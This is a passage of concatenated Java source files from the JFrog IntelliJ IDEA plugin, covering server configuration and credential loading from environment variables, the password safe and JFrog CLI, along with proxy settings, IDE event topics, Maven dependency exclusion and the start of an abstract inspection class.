setAdvancedSettings(ServerConfigImpl serverConfig) { this.serverConfig.setExcludedPaths(serverConfig.getExcludedPaths()); this.serverConfig.setConnectionRetries(serverConfig.getConnectionRetries()); this.serverConfig.setConnectionTimeout(serverConfig.getConnectionTimeout()); this.serverConfig.setExternalResourcesRepo(serverConfig.getExternalResourcesRepo()); this.serverConfig.setScannerBinaryVersion(serverConfig.getScannerBinaryVersion()); this.serverConfig.setPolicyType(serverConfig.getPolicyType()); this.serverConfig.setProject(serverConfig.getProject()); this.serverConfig.setWatches(serverConfig.getWatches()); } /** * Reloads missing configuration from the plugin settings, environment variables or JFrog CLI configuration. * * @return true if credentials exist and Xray is configured, false otherwise. */ public boolean reloadMissingConfiguration() { serverConfig.readMissingConfFromEnv(); if (serverConfig.isXrayConfigured()) { return true; } serverConfig.readConnectionDetailsFromEnv(); if (serverConfig.isXrayConfigured()) { return true; } loadConnectionDetailsFromJfrogCli(); return serverConfig.isXrayConfigured(); } public boolean areXrayCredentialsSet() { return serverConfig != null && serverConfig.isXrayConfigured(); } public boolean areArtifactoryCredentialsSet() { return serverConfig != null && serverConfig.isArtifactoryConfigured(); } /** * The plugin supports reading the JFrog connection details from JFrog CLI's configuration. * This allows developers who already have JFrog CLI installed and configured, * to have IDEA load the config automatically. */ private void loadConnectionDetailsFromJfrogCli() { try { if (serverConfig.readConnectionDetailsFromJfrogCli()) { Logger.getInstance().info("Successfully loaded config connection details from JFrog CLI"); MessageBus messageBus = ApplicationManager.getApplication().getMessageBus(); messageBus.syncPublisher(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE).update(); return; } } catch (IOException exception) { Logger.getInstance().warn(ExceptionUtils.getRootCauseMessage(exception)); } Logger.getInstance().debug("Couldn't load config connection details from JFrog CLI"); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/configuration/ServerConfigImpl.java ================================================ /* * SonarLint for IntelliJ IDEA * Copyright (C) 2015 SonarSource * sonarlint@sonarsource.com * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02 */ package com.jfrog.ide.idea.configuration; import com.intellij.credentialStore.Credentials; import com.intellij.openapi.vfs.VfsUtil; import com.intellij.util.EnvironmentUtil; import com.intellij.util.net.HttpConfigurable; import com.intellij.util.net.ssl.CertificateManager; import com.intellij.util.xmlb.annotations.OptionTag; import com.intellij.util.xmlb.annotations.Tag; import com.intellij.util.xmlb.annotations.Transient; import com.jfrog.ide.common.configuration.JfrogCliDriver; import com.jfrog.ide.common.configuration.JfrogCliServerConfig; import com.jfrog.ide.common.configuration.ServerConfig; import com.jfrog.ide.idea.ui.configuration.ConnectionRetriesSpinner; import com.jfrog.ide.idea.ui.configuration.ConnectionTimeoutSpinner; import org.apache.commons.collections4.CollectionUtils; import org.jfrog.build.client.ProxyConfiguration; import javax.annotation.CheckForNull; import javax.annotation.Nullable; import javax.annotation.concurrent.Immutable; import javax.net.ssl.SSLContext; import java.io.IOException; import java.net.InetSocketAddress; import java.net.PasswordAuthentication; import java.net.Proxy; import java.net.URI; import java.util.HashMap; import java.util.List; import java.util.Objects; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.DEFAULT_EXCLUSIONS; import static com.jfrog.ide.idea.ui.configuration.Utils.*; import static org.apache.commons.lang3.ObjectUtils.defaultIfNull; import static org.apache.commons.lang3.StringUtils.*; /** * @author yahavi */ @Immutable public class ServerConfigImpl implements ServerConfig { public enum ConnectionType { SSO, CONNECTION_DETAILS } private static final String JFROG_SETTINGS_CREDENTIALS_KEY = "credentials"; public static final String JFROG_SETTINGS_KEY = "com.jfrog.idea"; static final String PLATFORM_URL_ENV = "JFROG_IDE_PLATFORM_URL"; static final String ARTIFACTORY_URL_ENV = "JFROG_IDE_ARTIFACTORY_URL"; static final String XRAY_URL_ENV = "JFROG_IDE_XRAY_URL"; static final String USERNAME_ENV = "JFROG_IDE_USERNAME"; static final String PASSWORD_ENV = "JFROG_IDE_PASSWORD"; static final String ACCESS_TOKEN_ENV = "JFROG_IDE_ACCESS_TOKEN"; static final String PROJECT_ENV = "JFROG_IDE_PROJECT"; public static final String EXTERNAL_RESOURCES_REPO_ENV = "JFROG_IDE_RELEASES_REPO"; @OptionTag private ConnectionType connectionType; @OptionTag private String url; @OptionTag private String xrayUrl; @OptionTag private String artifactoryUrl; @OptionTag private String username; @Tag private String password; @Tag private String accessToken; @Tag private PolicyType policyType; // JFrog project key to be used as context to Xray scan. @OptionTag private String project; // A comma separated list of Xray watches to be used as context to Xray scan. @OptionTag private String watches; // Pattern of project paths to exclude from Xray scanning for npm @Tag private String excludedPaths; @Tag private Integer connectionRetries; @Tag private Integer connectionTimeout; @Tag private String externalResourcesRepo; @Tag private String scannerBinaryVersion; // The subsystem key of the plugin configuration in the PasswordSafe @Transient private String jfrogSettingsCredentialsKey = JFROG_SETTINGS_KEY; ServerConfigImpl() { } ServerConfigImpl(Builder builder) { this.connectionType = builder.connectionType; this.url = builder.url; this.xrayUrl = builder.xrayUrl; this.artifactoryUrl = builder.artifactoryUrl; this.username = builder.username; this.password = builder.password; this.accessToken = builder.accessToken; this.policyType = builder.policyType; this.project = builder.project; this.watches = builder.watches; this.excludedPaths = builder.excludedPaths; this.connectionRetries = builder.connectionRetries; this.connectionTimeout = builder.connectionTimeout; this.externalResourcesRepo = builder.externalResourcesRepo; this.scannerBinaryVersion = builder.scannerBinaryVersion; this.jfrogSettingsCredentialsKey = builder.jfrogSettingsCredentialsKey; } public boolean isXrayConfigured() { return !isAllBlank(url, xrayUrl) && isAuthenticationConfigured(); } public boolean isArtifactoryConfigured() { return !isAllBlank(url, xrayUrl) && isAuthenticationConfigured(); } private boolean isAuthenticationConfigured() { return isNoneBlank(username, password) || isNotBlank(accessToken); } @Override public boolean equals(Object o) { if (!(o instanceof ServerConfigImpl)) { return false; } ServerConfigImpl other = (ServerConfigImpl) o; return Objects.equals(getConnectionType(), other.getConnectionType()) && Objects.equals(getUrl(), other.getUrl()) && Objects.equals(getXrayUrl(), other.getXrayUrl()) && Objects.equals(getArtifactoryUrl(), other.getArtifactoryUrl()) && Objects.equals(getPassword(), other.getPassword()) && Objects.equals(getUsername(), other.getUsername()) && Objects.equals(getAccessToken(), other.getAccessToken()) && Objects.equals(getPolicyType(), other.getPolicyType()) && Objects.equals(getProject(), other.getProject()) && Objects.equals(getWatches(), other.getWatches()) && Objects.equals(getExcludedPaths(), other.getExcludedPaths()) && getConnectionRetries() == other.getConnectionRetries() && getConnectionTimeout() == other.getConnectionTimeout() && Objects.equals(getExternalResourcesRepo(), other.getExternalResourcesRepo()) && Objects.equals(getScannerBinaryVersion(), other.getScannerBinaryVersion()); } @Override public int hashCode() { return Objects.hash(getConnectionType(), getUrl(), getXrayUrl(), getArtifactoryUrl(), getPassword(), getAccessToken(), getUsername(), getProject(), getExcludedPaths(), getConnectionRetries(), getConnectionTimeout(), getExternalResourcesRepo(), getScannerBinaryVersion()); } @Override public String getUsername() { return trimToEmpty(username); } @Override public String getUrl() { return trimToEmpty(url); } @Override public String getXrayUrl() { return trimToEmpty(xrayUrl); } @Override public String getArtifactoryUrl() { return trimToEmpty(artifactoryUrl); } @Override @CheckForNull public String getPassword() { return password; } @Override public String getAccessToken() { return accessToken; } public void setConnectionType(ConnectionType connectionType) { this.connectionType = connectionType; } public ConnectionType getConnectionType() { return connectionType; } public Credentials getCredentialsFromPasswordSafe() { return retrieveCredentialsFromPasswordSafe(jfrogSettingsCredentialsKey, JFROG_SETTINGS_CREDENTIALS_KEY); } public void addCredentialsToPasswordSafe() { // jfrog-ignore String password = isNotBlank(accessToken) ? getAccessToken() : getPassword(); Credentials credentials = new Credentials(getUsername(), password); storeCredentialsInPasswordSafe(jfrogSettingsCredentialsKey, JFROG_SETTINGS_CREDENTIALS_KEY, credentials); } public void removeCredentialsFromPasswordSafe() { removeCredentialsInPasswordSafe(jfrogSettingsCredentialsKey, JFROG_SETTINGS_CREDENTIALS_KEY); } @Override public boolean isInsecureTls() { return CertificateManager.getInstance().getState().ACCEPT_AUTOMATICALLY; } public String getExcludedPaths() { return defaultIfNull(this.excludedPaths, DEFAULT_EXCLUSIONS); } @Override public PolicyType getPolicyType() { return this.policyType; } @Override public String getProject() { return trimToEmpty(this.project); } @Override public String getWatches() { return trimToEmpty(this.watches); } @Override public SSLContext getSslContext() { return CertificateManager.getInstance().getSslContext(); } @Override public int getConnectionRetries() { return defaultIfNull(this.connectionRetries, ConnectionRetriesSpinner.RANGE.initial); } @Override public int getConnectionTimeout() { return defaultIfNull(this.connectionTimeout, ConnectionTimeoutSpinner.RANGE.initial); } @Override public String getExternalResourcesRepo() { return this.externalResourcesRepo; } public String getJFrogSettingsCredentialsKey() { return this.jfrogSettingsCredentialsKey; } void setExcludedPaths(String excludedPaths) { this.excludedPaths = excludedPaths; } void setPolicyType(PolicyType policyType) { this.policyType = policyType; } void setProject(String project) { this.project = project; } void setWatches(String watches) { this.watches = watches; } /** * Get proxy configuration as configured under 'Appearance & Behavior' -> 'System Settings' -> 'HTTP Proxy' * * @param targetUrl - The target URL. The URL is necessary to determine whether to bypass proxy or to pick the relevant * proxy configuration for the target URL as configured in *.pac file. * @return the proxy configuration as configured in IDEA settings. */ @Override public ProxyConfiguration getProxyConfForTargetUrl(String targetUrl) { HttpConfigurable httpConfigurable = HttpConfigurable.getInstance(); if (httpConfigurable.USE_PROXY_PAC) { // 'Auto-detect proxy settings' option is selected return getProxyConfForTargetUrlUsingPac(httpConfigurable, targetUrl); } if (httpConfigurable.isHttpProxyEnabledForUrl(targetUrl)) { // 'Manual proxy configuration' option is selected return getProxyConfForTargetUrlUsingManualConf(httpConfigurable); } // 'No proxy' option is selected return null; } /** * Read Proxy config from proxy auto-configuration (PAC) file. * * @param httpConfigurable - Intellij HTTP details * @param xrayUrl - The Xray URL * @return Proxy config */ private ProxyConfiguration getProxyConfForTargetUrlUsingPac(HttpConfigurable httpConfigurable, String xrayUrl) { URI xrayUri = VfsUtil.toUri(xrayUrl); if (xrayUri == null) { // Proxy URL is illegal return null; } List proxies = httpConfigurable.getOnlyBySettingsSelector().select(xrayUri); if (CollectionUtils.isEmpty(proxies)) { // No proxy found for Xray URL return null; } // Currently only 1 proxy is supported Proxy firstProxy = proxies.get(0); if (firstProxy.type().equals(Proxy.Type.DIRECT)) { // Xray URL is configured with "no proxy" return null; } InetSocketAddress inetSocketAddress = (InetSocketAddress) firstProxy.address(); ProxyConfiguration proxyConfig = new ProxyConfiguration(); proxyConfig.host = inetSocketAddress.getHostString(); proxyConfig.port = inetSocketAddress.getPort(); if (httpConfigurable.isGenericPasswordCanceled(proxyConfig.host, proxyConfig.port)) { // Authentication is disabled return proxyConfig; } PasswordAuthentication passwordAuthentication = httpConfigurable.getGenericPassword(proxyConfig.host, proxyConfig.port); if (passwordAuthentication != null) { proxyConfig.username = passwordAuthentication.getUserName(); proxyConfig.password = String.valueOf(passwordAuthentication.getPassword()); } return proxyConfig; } /** * Read Proxy config using manual proxy configuration. * * @param httpConfigurable - Intellij HTTP details * @return Proxy config */ private ProxyConfiguration getProxyConfForTargetUrlUsingManualConf(HttpConfigurable httpConfigurable) { ProxyConfiguration proxyConfig = new ProxyConfiguration(); proxyConfig.host = trimToEmpty(httpConfigurable.PROXY_HOST); proxyConfig.port = httpConfigurable.PROXY_PORT; if (httpConfigurable.PROXY_AUTHENTICATION) { proxyConfig.username = trimToEmpty(httpConfigurable.getProxyLogin()); proxyConfig.password = httpConfigurable.getPlainProxyPassword(); } return proxyConfig; } public void setUrl(String url) { this.url = url; } public void setXrayUrl(String xrayUrl) { this.xrayUrl = xrayUrl; } public void setArtifactoryUrl(String artifactoryUrl) { this.artifactoryUrl = artifactoryUrl; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public void setAccessToken(String accessToken) { // jfrog-ignore this.accessToken = accessToken; } void setCredentials(Credentials credentials) { if (credentials == null) { return; } if (isNotBlank(credentials.getUserName())) { setUsername(credentials.getUserName()); setPassword(credentials.getPasswordAsString()); } else { setAccessToken(credentials.getPasswordAsString()); } } void setConnectionRetries(int connectionRetries) { this.connectionRetries = connectionRetries; } void setConnectionTimeout(int connectionTimeout) { this.connectionTimeout = connectionTimeout; } void setExternalResourcesRepo(String externalResourcesRepo) { this.externalResourcesRepo = externalResourcesRepo; } public String getScannerBinaryVersion() { return this.scannerBinaryVersion; } void setScannerBinaryVersion(String scannerBinaryVersion) { this.scannerBinaryVersion = scannerBinaryVersion; } public void setJFrogSettingsCredentialsKey(String jfrogSettingsCredentialsKey) { this.jfrogSettingsCredentialsKey = jfrogSettingsCredentialsKey; } /** * Read connection details from environment variables. * All connection details must be provided from env, otherwise don't use them. */ public void readConnectionDetailsFromEnv() { String platformUrlEnv = EnvironmentUtil.getValue(PLATFORM_URL_ENV); String xrayUrlEnv = EnvironmentUtil.getValue(XRAY_URL_ENV); String artifactoryUrlEnv = EnvironmentUtil.getValue(ARTIFACTORY_URL_ENV); String usernameEnv = EnvironmentUtil.getValue(USERNAME_ENV); String passwordEnv = EnvironmentUtil.getValue(PASSWORD_ENV); String accessTokenEnv = EnvironmentUtil.getValue(ACCESS_TOKEN_ENV); String projectEnv = EnvironmentUtil.getValue(PROJECT_ENV); if (isAnyBlank(usernameEnv, passwordEnv) || isAllBlank(platformUrlEnv, xrayUrlEnv, artifactoryUrlEnv)) { setUrl(""); setXrayUrl(""); setArtifactoryUrl(""); setUsername(""); setPassword(""); setAccessToken(""); return; } setUrl(platformUrlEnv); String platformUrlStr = removeEnd(platformUrlEnv, "/"); if (isBlank(xrayUrlEnv)) { setXrayUrl(platformUrlStr + "/xray"); } else { setXrayUrl(xrayUrlEnv); } if (isBlank(artifactoryUrlEnv)) { setArtifactoryUrl(platformUrlStr + "/artifactory"); } else { setArtifactoryUrl(artifactoryUrlEnv); } if (isNotBlank(projectEnv)) { setProject(projectEnv); } if (isNotBlank(accessTokenEnv)) { setAccessToken(accessTokenEnv); } else { setUsername(usernameEnv); setPassword(passwordEnv); } } /** * Read missing configuration from environment variables. */ public void readMissingConfFromEnv() { if (isBlank(getExternalResourcesRepo())) { setExternalResourcesRepo(EnvironmentUtil.getValue(EXTERNAL_RESOURCES_REPO_ENV)); } } /** * Read the connection details from JFrog CLI's config. The configuration is read by executing JFrog CLI. * If no JFrog CLI server configuration was found or the config * file is encrypt, do nothing. * * @return true if connection details loaded from JFrog CLI default server. */ public boolean readConnectionDetailsFromJfrogCli() throws IOException { JfrogCliDriver driver = new JfrogCliDriver(new HashMap<>(EnvironmentUtil.getEnvironmentMap()), null); if (!driver.isJfrogCliInstalled()) { return false; } JfrogCliServerConfig cliServerConfig = driver.getServerConfig(); String platformUrlCli = cliServerConfig.getUrl(); String xrayUrlCli = cliServerConfig.getXrayUrl(); String artifactoryUrlCli = cliServerConfig.getArtifactoryUrl(); String usernameCli = cliServerConfig.getUsername(); // jfrog-ignore String passwordCli = cliServerConfig.getPassword(); // jfrog-ignore String accessToken = cliServerConfig.getAccessToken(); if ((isAnyBlank(usernameCli, passwordCli) && isBlank(accessToken)) || isAnyBlank(platformUrlCli, xrayUrlCli, artifactoryUrlCli)) { return false; } setUrl(platformUrlCli); setXrayUrl(xrayUrlCli); setArtifactoryUrl(artifactoryUrlCli); setUsername(usernameCli); setPassword(passwordCli); setAccessToken(accessToken); return true; } @Override public String toString() { return url; } public static class Builder { private ConnectionType connectionType; private String jfrogSettingsCredentialsKey = JFROG_SETTINGS_KEY; private String url; private String xrayUrl; private String artifactoryUrl; private String username; private String password; private String accessToken; private String excludedPaths; private PolicyType policyType; private String project; private String watches; private int connectionRetries; private int connectionTimeout; private String externalResourcesRepo; private String scannerBinaryVersion; public ServerConfigImpl build() { return new ServerConfigImpl(this); } public Builder setConnectionType(ConnectionType connectionType) { this.connectionType = connectionType; return this; } public Builder setUrl(String url) { this.url = url; return this; } public Builder setXrayUrl(String xrayUrl) { this.xrayUrl = xrayUrl; return this; } public Builder setArtifactoryUrl(String artifactoryUrl) { this.artifactoryUrl = artifactoryUrl; return this; } public Builder setUsername(@Nullable String username) { this.username = username; return this; } public Builder setPassword(@Nullable String password) { // jfrog-ignore this.password = defaultString(password); return this; } public Builder setAccessToken(@Nullable String accessToken) { // jfrog-ignore this.accessToken = accessToken; return this; } public Builder setExcludedPaths(@Nullable String excludedPaths) { this.excludedPaths = excludedPaths; return this; } public Builder setPolicyType(PolicyType policyType) { this.policyType = policyType; return this; } public Builder setProject(@Nullable String project) { this.project = project; return this; } public Builder setWatches(@Nullable String watches) { this.watches = watches; return this; } public Builder setConnectionRetries(int connectionRetries) { this.connectionRetries = connectionRetries; return this; } public Builder setConnectionTimeout(int connectionTimeout) { this.connectionTimeout = connectionTimeout; return this; } public Builder setExternalResourcesRepo(String externalResourcesRepo) { this.externalResourcesRepo = externalResourcesRepo; return this; } public Builder setScannerBinaryVersion(String scannerBinaryVersion) { this.scannerBinaryVersion = scannerBinaryVersion; return this; } public Builder setJFrogSettingsCredentialsKey(String jfrogSettingsCredentialsKey) { this.jfrogSettingsCredentialsKey = jfrogSettingsCredentialsKey; return this; } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/events/AnnotationEvents.java ================================================ package com.jfrog.ide.idea.events; import com.intellij.util.messages.Topic; public interface AnnotationEvents { // Results expiry Topic ON_IRRELEVANT_RESULT = Topic.create("Source code changed", AnnotationEvents.class); /** * Called when the selected file is modified. */ void update(String filePath); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/events/ApplicationEvents.java ================================================ package com.jfrog.ide.idea.events; import com.intellij.util.messages.Topic; /** * Application based events. *

* Created by romang on 3/5/17. */ public interface ApplicationEvents { // Scan started Topic ON_SCAN_LOCAL_STARTED = Topic.create("Local scan started", ApplicationEvents.class); Topic ON_SCAN_LOCAL_CANCELED = Topic.create("Local scan canceled", ApplicationEvents.class); Topic ON_SCAN_CI_STARTED = Topic.create("CI scan started", ApplicationEvents.class); // Configuration changed Topic ON_CONFIGURATION_DETAILS_CHANGE = Topic.create("Configuration details changed", ApplicationEvents.class); Topic ON_BUILDS_CONFIGURATION_CHANGE = Topic.create("Builds configuration changed", ApplicationEvents.class); // Filter changed Topic ON_CI_FILTER_CHANGE = Topic.create("CI issues changed", ApplicationEvents.class); /** * Called when a scan started, a configuration changed or a filter changed. */ void update(); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/events/BuildEvents.java ================================================ package com.jfrog.ide.idea.events; import com.intellij.util.messages.Topic; import com.jfrog.ide.common.ci.BuildGeneralInfo; /** * Project based events. * * @author yahavi */ public interface BuildEvents { Topic ON_SELECTED_BUILD = Topic.create("Build selected", BuildEvents.class); /** * Called when the selected build is modified. */ void update(BuildGeneralInfo generalInfo); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/events/ProjectEvents.java ================================================ package com.jfrog.ide.idea.events; import com.intellij.util.messages.Topic; import com.jfrog.ide.common.utils.ProjectsMap; /** * Project based events. * * @author yahavi */ public interface ProjectEvents { Topic ON_SCAN_CI_CHANGE = Topic.create("CI changed", ProjectEvents.class); /** * Called when the store of issues in changed files is modified. It is modified only as a result of a user action to analyse all changed files. */ void update(ProjectsMap.ProjectKey projectKey); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/exclusion/Excludable.java ================================================ package com.jfrog.ide.idea.exclusion; import com.intellij.openapi.project.Project; /** * Created by Bar Belity on 28/05/2020. */ public interface Excludable { /** * Exclude from project-descriptor. */ void exclude(Project project); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/exclusion/ExclusionUtils.java ================================================ package com.jfrog.ide.idea.exclusion; import com.jfrog.ide.idea.navigation.NavigationTarget; import org.jfrog.build.extractor.scan.DependencyTree; /** * Created by Bar Belity on 28/05/2020. */ public class ExclusionUtils { /** * Check if a specific node from the Dependencies-tree can be excluded from project-descriptor. * * @param nodeToExclude - The node in tree to exclude. * @param affectedNode - Direct dependency's node in tree which will be affected by the exclusion. * @return true if the provided nodeToExclude can be excluded from project-descriptor. */ public static boolean isExcludable(DependencyTree nodeToExclude, DependencyTree affectedNode) { return MavenExclusion.isExcludable(nodeToExclude, affectedNode); } /** * Get the corresponding Excludable object for the node to exclude. * * @param nodeToExclude - The node in tree to exclude. * @param navigationTarget - The navigation-target of the node to exclude. * @return the corresponding Excludable object, Null if exclusion is not supported for this node. */ public static Excludable getExcludable(DependencyTree nodeToExclude, DependencyTree affectedNode, NavigationTarget navigationTarget) { if (MavenExclusion.isExcludable(nodeToExclude, affectedNode)) { return new MavenExclusion(nodeToExclude, navigationTarget); } return null; } /** * Find node's root project node. * In single project tree - the root's parent is null. * In multi project tree - the root-parent's general info is null. * @param node - DependencyTree node to find its project's root. * @return the project root node. */ public static DependencyTree getProjectRoot(DependencyTree node) { if (node == null) { return null; } while (node.getParent() != null && ((DependencyTree) node.getParent()).getGeneralInfo() != null) { node = (DependencyTree) node.getParent(); } return node; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/exclusion/MavenExclusion.java ================================================ package com.jfrog.ide.idea.exclusion; import com.intellij.openapi.command.WriteCommandAction; import com.intellij.openapi.project.Project; import com.intellij.pom.Navigatable; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.psi.xml.XmlFile; import com.intellij.psi.xml.XmlTag; import com.jfrog.ide.idea.inspections.MavenInspection; import com.jfrog.ide.idea.navigation.NavigationTarget; import org.jfrog.build.extractor.scan.DependencyTree; /** * Created by Bar Belity on 28/05/2020. */ public class MavenExclusion implements Excludable { public static final String MAVEN_EXCLUSIONS_TAG = "exclusions"; public static final String MAVEN_EXCLUSION_TAG = "exclusion"; private final DependencyTree nodeToExclude; private final NavigationTarget navigationTarget; public MavenExclusion(DependencyTree nodeToExclude, NavigationTarget navigationTarget) { this.nodeToExclude = nodeToExclude; this.navigationTarget = navigationTarget; } /** * Walk up the dependencies-tree to validate that the project's root is of type 'Maven'. * This is required as dependency nodes in 'Gradle' projects are also of type 'Maven', and dependency nodes * can have type 'null'. * @param nodeToExclude - The node in tree to exclude. * @param affectedNode - Direct dependency's node in tree which will be affected by the exclusion. * @return true if nodeToExclude is a valid Maven node which can be excluded. */ public static boolean isExcludable(DependencyTree nodeToExclude, DependencyTree affectedNode) { if (nodeToExclude == null || nodeToExclude.equals(affectedNode)) { return false; } return isMavenPackageType(ExclusionUtils.getProjectRoot(nodeToExclude)); } public static boolean isMavenPackageType(DependencyTree node) { return node != null && node.getGeneralInfo() != null && "maven".equals(node.getGeneralInfo().getPkgType()); } @Override public void exclude(Project project) { PsiFile psiFile = PsiManager.getInstance(project).findFile(navigationTarget.getElement().getContainingFile().getVirtualFile()); if (!(psiFile instanceof XmlFile)) { return; } XmlFile file = (XmlFile) psiFile; WriteCommandAction.writeCommandAction(project, file).run(() -> { String groupId = nodeToExclude.getGeneralInfo().getGroupId(); String artifactId = nodeToExclude.getGeneralInfo().getArtifactId(); if (!(navigationTarget.getElement() instanceof XmlTag)) { return; } XmlTag xmlElement = (XmlTag) navigationTarget.getElement(); navigateToElement(xmlElement); XmlTag exclusionsTag = xmlElement.findFirstSubTag(MAVEN_EXCLUSIONS_TAG); if (exclusionsTag == null) { exclusionsTag = xmlElement.createChildTag(MAVEN_EXCLUSIONS_TAG, "", "", false); createAndAddExclusionTags(exclusionsTag, groupId, artifactId); xmlElement.addSubTag(exclusionsTag, false); return; } XmlTag[] allExclusions = exclusionsTag.findSubTags(MAVEN_EXCLUSION_TAG); if (exclusionExists(allExclusions, groupId, artifactId)) { // Don't create exclusion tag. return; } createAndAddExclusionTags(exclusionsTag, groupId, artifactId); }); } boolean exclusionExists(XmlTag[] allExclusions, String groupId, String artifactId) { for (XmlTag exclusionTag : allExclusions) { XmlTag groupIdTag = exclusionTag.findFirstSubTag(MavenInspection.MAVEN_GROUP_ID_TAG); if (groupIdTag == null || !groupId.equals(groupIdTag.getValue().getText())) { continue; } XmlTag artifactIdTag = exclusionTag.findFirstSubTag(MavenInspection.MAVEN_ARTIFACT_ID_TAG); if (artifactIdTag != null && artifactId.equals(artifactIdTag.getValue().getText())) { return true; } } return false; } void createAndAddExclusionTags(XmlTag exclusionsTag, String groupId, String artifactId) { XmlTag exclusionTag = exclusionsTag.createChildTag(MAVEN_EXCLUSION_TAG, "", "", false); XmlTag groupIdTag = exclusionTag.createChildTag(MavenInspection.MAVEN_GROUP_ID_TAG, "", groupId, false); XmlTag artifactIdTag = exclusionTag.createChildTag(MavenInspection.MAVEN_ARTIFACT_ID_TAG, "", artifactId, false); exclusionTag.addSubTag(groupIdTag, true); exclusionTag.addSubTag(artifactIdTag, false); exclusionsTag.addSubTag(exclusionTag, false); } private void navigateToElement(XmlTag xmlElement) { PsiElement navigationTarget = xmlElement.getNavigationElement(); if (!(navigationTarget instanceof Navigatable)) { return; } Navigatable navigatable = (Navigatable) navigationTarget; if (navigatable.canNavigate()) { navigatable.navigate(true); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/AbstractInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.google.common.collect.ArrayListMultimap; import com.google.common.collect.Multimap; import com.intellij.codeInspection.LocalInspectionTool; import com.intellij.codeInspection.LocalQuickFix; import com.intellij.codeInspection.ProblemHighlightType; import com.intellij.codeInspection.ProblemsHolder; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.lang.annotation.Annotator; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.openapi.wm.ToolWindow; import com.intellij.openapi.wm.ToolWindowManager; import com.intellij.psi.PsiElement; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.DescriptorFileTreeNode; import com.jfrog.ide.common.nodes.SortableChildrenTreeNode; import com.jfrog.ide.common.nodes.VulnerabilityNode; import com.jfrog.ide.common.nodes.subentities.ImpactTree; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.navigation.NavigationService; import com.jfrog.ide.idea.scan.ScannerBase; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.LocalComponentsTree; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.collections4.CollectionUtils; import org.apache.commons.collections4.ListUtils; import org.apache.commons.lang3.StringUtils; import javax.swing.tree.TreeNode; import java.util.*; import java.util.stream.Collectors; /** * Parent class of all inspections and annotations. * The inspections are the "Show in JFrog plugin" action. * The annotations are the "Top issue" and "Licenses" labels. * * @author yahavi */ public abstract class AbstractInspection extends LocalInspectionTool implements Annotator { private final String packageDescriptorName; // True if the code inspection was automatically triggered after an Xray scan using InspectionEngine.runInspectionOnFile(...). private boolean afterScan; AbstractInspection(Descriptor descriptor) { this.packageDescriptorName = descriptor.getFileName(); } public void setAfterScan(boolean afterScan) { this.afterScan = afterScan; } /** * Get Psi element and decide whether to add "Show in JFrog plugin" option, and register a corresponding * navigation from item in tree to item in project-descriptor. * * @param problemsHolder - The "Show in JFrog plugin" option will be registered in this container. * @param element - The Psi element in the package descriptor * @param isOnTheFly - True if the inspection was triggered by opening a package descriptor file. * False if the inspection was triggered manually by clicking on "Code | Inspect Code". */ void visitElement(ProblemsHolder problemsHolder, PsiElement element, boolean isOnTheFly) { if (!afterScan && !isOnTheFly) { // Code inspection was triggered manually by clicking on "Code | Inspect Code". return; } String componentName = createComponentName(element); if (StringUtils.isBlank(componentName)) { return; // Failed creating the component name } List dependencies = getDependencies(element, componentName); if (CollectionUtils.isEmpty(dependencies)) { return; } NavigationService navigationService = NavigationService.getInstance(element.getProject()); for (DependencyNode dependency : dependencies) { if (isOnTheFly) { registerProblem(problemsHolder, dependency, element, componentName); } navigationService.addNavigation(dependency, element, componentName); } } /** * Get Psi element and decide whether to add licenses and top issue annotations. * * @param annotationHolder - The annotations will be registered in this container * @param element - The Psi element in the package descriptor */ void visitElement(AnnotationHolder annotationHolder, PsiElement element) { String componentName = createComponentName(element); if (componentName == null) { return; // Failed creating the component name } List dependencies = getDependencies(element, componentName); if (CollectionUtils.isNotEmpty(dependencies)) { AnnotationUtils.registerAnnotation(annotationHolder, dependencies.get(0), element, showAnnotationIcon(element)); } } /** * Get the relevant scan manager according to the project type and path. * * @param project - The Project * @param path - Path to project * @return ScanManager */ abstract ScannerBase getScanner(Project project, String path); /** * Return true if and only if the Psi element is a dependency. * * @param element - The Psi element in the package descriptor. * @return true if and only if the Psi element is a dependency */ abstract boolean isDependency(PsiElement element); /** * Create a component name from the Psi element. Called when isDependency(element) == true. * * @param element - The Psi element in the package descriptor * @return GeneralInfo */ abstract String createComponentName(PsiElement element); /** * Get the file descriptors nodes that containing the dependency in the Psi element. * * @param element - The Psi element in the package descriptor * @return Set of file nodes containing the dependency or null if not found */ Set getFileDescriptors(PsiElement element) { Project project = element.getProject(); ComponentsTree componentsTree = LocalComponentsTree.getInstance(project); if (componentsTree == null || componentsTree.getModel() == null) { return null; } Set fileDescriptors = new HashSet<>(); Enumeration roots = ((SortableChildrenTreeNode) componentsTree.getModel().getRoot()).children(); for (TreeNode root : Collections.list(roots)) { if (root instanceof DescriptorFileTreeNode fileNode) { if (fileNode.getFilePath().equals(element.getContainingFile().getVirtualFile().getPath())) { fileDescriptors.add(fileNode); } } } return fileDescriptors; } /** * Override this method to determine whether to display multiple annotation icons in the same line. * * 